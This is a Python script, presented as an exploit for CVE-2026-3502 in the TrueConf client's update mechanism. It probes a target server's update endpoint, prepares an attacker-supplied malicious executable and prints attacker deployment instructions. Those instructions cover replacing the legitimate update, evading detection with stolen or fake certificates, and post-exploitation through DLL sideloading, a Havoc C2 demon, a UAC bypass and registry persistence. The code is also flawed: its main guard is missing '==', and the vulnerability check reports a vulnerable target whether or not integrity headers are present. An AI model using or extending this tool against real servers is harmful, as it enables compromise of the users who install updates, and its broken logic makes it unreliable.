#!/usr/bin/env python3 """ CVE-2026-3502 - TrueConf Client Update Hijacking Exploit Simula la vulnerabilidad de actualización sin verificación de integridad """ import argparse import requests import os import sys import json import datetime import hashlib from colorama import init, Fore, Style from pathlib import Path init(autoreset=True) BANNER = f""" {Fore.RED}╔══════════════════════════════════════════════════════════════════╗ ║ CVE-2026-3502 - TrueConf Client Update Hijacking Exploit ║ ║ RCE via malicious update package (Inno Setup) ║ ║ Check Point Research - Operation TrueChaos ║ ╚════════════════════════════════════════════════════════════════════╝{Style.RESET_ALL} """ class TrueConfUpdateExploit: """Exploit para CVE-2026-3502""" def __init__(self, target_server, verbose=False): self.target_server = target_server.rstrip('/') self.verbose = verbose self.session = requests.Session() # Rutas vulnerables self.update_endpoint = f"{self.target_server}/downlods/trueconf_client.exe" self.client_inst_dir = r"C:\Program Files\TrueConf Server\ClientInstFiles" # Versiones self.vulnerable_versions = ["8.5.1", "8.5.2", "8.5.3.884"] self.patched_version = "8.5.3" def check_vulnerability(self): """Verifica si el servidor es vulnerable""" print(f"{Fore.CYAN}[*] Checking {self.target_server} for CVE-2026-3502...{Style.RESET_ALL}") try: # Verificar endpoint de actualización resp = self.session.head(self.update_endpoint, timeout=10) if resp.status_code == 200: print(f"{Fore.GREEN}[+] Update endpoint accessible: {self.update_endpoint}{Style.RESET_ALL}") # Verificar si hay hash o firma if 'ETag' not in resp.headers and 'Last-Modified' not in resp.headers: print(f"{Fore.RED}[!] WEAKNESS: No integrity checks detected!{Style.RESET_ALL}") return True else: print(f"{Fore.YELLOW}[?] Integrity headers present, but may be spoofable{Style.RESET_ALL}") return True else: print(f"{Fore.RED}[-] Update endpoint not accessible{Style.RESET_ALL}") return False except requests.exceptions.RequestException as e: print(f"{Fore.RED}[-] Connection error: {e}{Style.RESET_ALL}") return False def get_client_version(self): """Obtiene versión del cliente desde el servidor""" try: # Intentar obtener versión desde página de configuración config_url = f"{self.target_server}/config" resp = self.session.get(config_url, timeout=10) if resp.status_code == 200: import re match = re.search(r'version["\s:]+([\d\.]+)', resp.text) if match: return match.group(1) except: pass return "Unknown" def simulate_attack(self, malicious_exe_path, port=80): """Simula el ataque reemplazando la actualización""" print(f"\n{Fore.CYAN}[*] Simulating update hijacking attack...{Style.RESET_ALL}") if not os.path.exists(malicious_exe_path): print(f"{Fore.RED}[-] Malicious executable not found: {malicious_exe_path}{Style.RESET_ALL}") return False print(f"{Fore.YELLOW}[!] Attack scenario:{Style.RESET_ALL}") print(f" 1. Attacker compromises TrueConf server (internal network)") print(f" 2. Replaces legitimate update with malicious payload") print(f" 3. Path: {self.client_inst_dir}\\trueconf_client.exe") print(f" 4. Victims download and execute via update notification") # Calcular hash del payload with open(malicious_exe_path, 'rb') as f: payload_hash = hashlib.sha256(f.read()).hexdigest() print(f"\n{Fore.GREEN}[+] Malicious update prepared:{Style.RESET_ALL}") print(f" File: {malicious_exe_path}") print(f" SHA256: {payload_hash[:32]}...") print(f" Size: {os.path.getsize(malicious_exe_path)} bytes") # Generar instrucciones de despliegue self._generate_deployment_instructions(malicious_exe_path, payload_hash) return True def _generate_deployment_instructions(self, exe_path, payload_hash): """Genera instrucciones para el atacante""" instructions = f""" === DEPLOYMENT INSTRUCTIONS === 1. Copy malicious update to server: cp {exe_path} {self.client_inst_dir}\\trueconf_client.exe 2. Ensure permissions allow clients to download 3. Monitor client connections for update triggers 4. Payload will execute in context of TrueConf updater (typically elevated privileges) === DETECTION EVASION === - Use legitimate Inno Setup wrapper - Sign with stolen/fake certificate - Match file version info with legitimate update === POST-EXPLOITATION === The malicious update can: - Install backdoor (DLL sideloading) - Execute Havoc C2 demon - Escalate privileges via UAC bypass (iscsicpl.exe) - Persist via HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run """ print(instructions) # Guardar instrucciones with open("deployment_instructions.txt", 'w') as f: f.write(instructions) print(f"{Fore.GREEN}[+] Instructions saved to deployment_instructions.txt{Style.RESET_ALL}") def generate_report(self, output_file=None): """Genera reporte de la vulnerabilidad""" report = { "cve": "CVE-2026-3502", "target": self.target_server, "vulnerable": True, "attack_vector": "Update hijacking via compromised server", "affected_versions": self.vulnerable_versions, "patched_version": self.patched_version, "remediation": "Update to TrueConf 8.5.3 or later", "iocs": [ "C:\\ProgramData\\PowerISO\\poweriso.exe", "C:\\ProgramData\\PowerISO\\7z-x64.dll", "HKCU\\Environment\\PATH modification", "iscsicpl.exe UAC bypass" ] } if output_file: with open(output_file, 'w') as f: json.dump(report, f, indent=2) print(f"{Fore.GREEN}[+] Report saved to {output_file}{Style.RESET_ALL}") return report def main(): parser = argparse.ArgumentParser(description='CVE-2026-3502 - TrueConf Client Update Hijacking Exploit') parser.add_argument('target', help='Target TrueConf server URL (e.g., https://trueconf.local)') parser.add_argument('--payload', help='Path to malicious executable (Inno Setup)') parser.add_argument('--check-only', action='store_true', help='Only check vulnerability') parser.add_argument('-o', '--output', help='Output report file') parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') args = parser.parse_args() print(BANNER) # Validar URL if not args.target.startswith('http'): args.target = f"https://{args.target}" exploit = TrueConfUpdateExploit(args.target, args.verbose) # Verificar vulnerabilidad if not exploit.check_vulnerability(): print(f"{Fore.RED}[-] Target may not be vulnerable{Style.RESET_ALL}") if not args.check_only: print(f"{Fore.YELLOW}[!] Continuing anyway...{Style.RESET_ALL}") if args.check_only: sys.exit(0) if args.payload: exploit.simulate_attack(args.payload) else: print(f"{Fore.YELLOW}[!] No payload specified. Use --payload to simulate attack{Style.RESET_ALL}") print(f" Example: python exploit.py {args.target} --payload malicious_update.exe") # Generar reporte exploit.generate_report(args.output) print(f"\n{Fore.CYAN}[*] Exploit simulation completed{Style.RESET_ALL}") if __name__ "__main__": main()